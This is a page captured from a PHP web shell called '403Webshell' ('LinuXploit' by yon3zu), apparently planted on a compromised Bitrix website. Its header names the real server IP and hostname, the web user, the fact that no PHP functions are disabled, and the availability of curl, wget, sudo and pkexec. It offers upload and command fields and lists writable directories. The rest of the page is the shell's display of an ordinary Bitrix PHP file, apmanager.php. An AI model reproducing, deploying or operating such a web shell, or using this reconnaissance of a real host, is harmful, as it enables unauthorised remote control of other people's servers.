403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialservices/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialservices/lib/apmanager.php
<?php
namespace Bitrix\Socialservices;

use Bitrix\Main\Web\Uri;

class ApManager
{
	public static function receive($userId, $connectionString)
	{
		if(static::checkState())
		{
			$connection = static::parseConnectionString($connectionString);

			if($connection)
			{
				$uri = new Uri($connection['endpoint']);

				if($uri->getHost())
				{
					$dbRes = ApTable::getList(array(
						'filter' => array(
							'=USER_ID' => $userId,
							'=DOMAIN' => $uri->getHost()
						),
						'select' => array('ID')
					));
					$existingEntry = $dbRes->fetch();
					if($existingEntry)
					{
						$result = ApTable::update($existingEntry['ID'], array(
							'ENDPOINT' => $uri->getLocator(),
							'LAST_AUTHORIZE' => '',
						));
					}
					else
					{
						$result = ApTable::add(array(
							'USER_ID' => $userId,
							'DOMAIN' => $uri->getHost(),
							'ENDPOINT' => $uri->getLocator(),
						));
					}

					return $result->isSuccess();
				}
			}
		}

		return false;
	}

	protected static function checkState()
	{
		return \CSocServAuthManager::checkUniqueKey();
	}

	protected static function parseConnectionString($connectionString)
	{
		$client = \CBitrix24NetPortalTransport::init();
		if($client)
		{
			$result = $client->call('client.authorize', array('apcode' => $connectionString));

			if($result && $result['result'])
			{
				return array(
					'endpoint' => $result['result']['ENDPOINT'],
				);
			}
		}

		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit